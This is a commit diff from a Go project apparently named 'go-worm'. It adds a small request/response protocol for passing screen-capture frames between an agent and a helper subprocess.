refactor(capture): screen capture in subprocess
- Move screen capture to child process - Isolate GDI/BitBlt crashes from agent - Use -capture flag for internal helper mode - Add protocol for frame request/response - Make monitor enumeration thread-safe
This commit is contained in:
@@ -0,0 +1,98 @@
|
||||
package capture
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
||||
)
|
||||
|
||||
var ErrMonitorNotFound = errors.New("monitor not found")
|
||||
|
||||
func writeRequest(w io.Writer, monitor int, format string, quality int) error {
|
||||
_, err := fmt.Fprintf(w, "C %d %s %d\n", monitor, format, quality)
|
||||
return err
|
||||
}
|
||||
|
||||
func readRequest(r *bufio.Reader) (monitor int, format string, quality int, err error) {
|
||||
line, err := r.ReadString('\n')
|
||||
if err != nil {
|
||||
return 0, "", 0, err
|
||||
}
|
||||
fields := strings.Fields(strings.TrimSpace(line))
|
||||
if len(fields) != 4 || fields[0] != "C" {
|
||||
return 0, "", 0, errors.New("bad capture request")
|
||||
}
|
||||
monitor, err = strconv.Atoi(fields[1])
|
||||
if err != nil {
|
||||
return 0, "", 0, err
|
||||
}
|
||||
format = fields[2]
|
||||
quality, err = strconv.Atoi(fields[3])
|
||||
if err != nil {
|
||||
return 0, "", 0, err
|
||||
}
|
||||
return monitor, format, quality, nil
|
||||
}
|
||||
|
||||
func writeFrame(w io.Writer, img models.CapturedImage) error {
|
||||
if len(img.Data) > config.MaxCaptureBytes {
|
||||
return errors.New("frame too large")
|
||||
}
|
||||
if _, err := fmt.Fprintf(w, "O %s %d %d %d %d %d\n",
|
||||
strings.ReplaceAll(img.ContentType, " ", ""),
|
||||
img.Left, img.Top, img.Width, img.Height, len(img.Data)); err != nil {
|
||||
return err
|
||||
}
|
||||
_, err := w.Write(img.Data)
|
||||
return err
|
||||
}
|
||||
|
||||
func writeErr(w io.Writer, msg string) error {
|
||||
msg = strings.ReplaceAll(strings.TrimSpace(msg), "\n", " ")
|
||||
if msg == "" {
|
||||
msg = "capture failed"
|
||||
}
|
||||
_, err := fmt.Fprintf(w, "E %s\n", msg)
|
||||
return err
|
||||
}
|
||||
|
||||
func readResponse(r *bufio.Reader) (models.CapturedImage, error) {
|
||||
line, err := r.ReadString('\n')
|
||||
if err != nil {
|
||||
return models.CapturedImage{}, err
|
||||
}
|
||||
line = strings.TrimRight(line, "\r\n")
|
||||
if strings.HasPrefix(line, "E ") {
|
||||
return models.CapturedImage{}, errors.New(strings.TrimSpace(line[2:]))
|
||||
}
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) != 7 || fields[0] != "O" {
|
||||
return models.CapturedImage{}, errors.New("bad capture response")
|
||||
}
|
||||
left, _ := strconv.Atoi(fields[2])
|
||||
top, _ := strconv.Atoi(fields[3])
|
||||
width, _ := strconv.Atoi(fields[4])
|
||||
height, _ := strconv.Atoi(fields[5])
|
||||
n, err := strconv.Atoi(fields[6])
|
||||
if err != nil || n < 0 || n > config.MaxCaptureBytes {
|
||||
return models.CapturedImage{}, errors.New("bad capture size")
|
||||
}
|
||||
data := make([]byte, n)
|
||||
if _, err := io.ReadFull(r, data); err != nil {
|
||||
return models.CapturedImage{}, err
|
||||
}
|
||||
return models.CapturedImage{
|
||||
ContentType: fields[1],
|
||||
Data: data,
|
||||
Left: left,
|
||||
Top: top,
|
||||
Width: width,
|
||||
Height: height,
|
||||
}, nil
|
||||
}
|
||||
Reference in New Issue
Block a user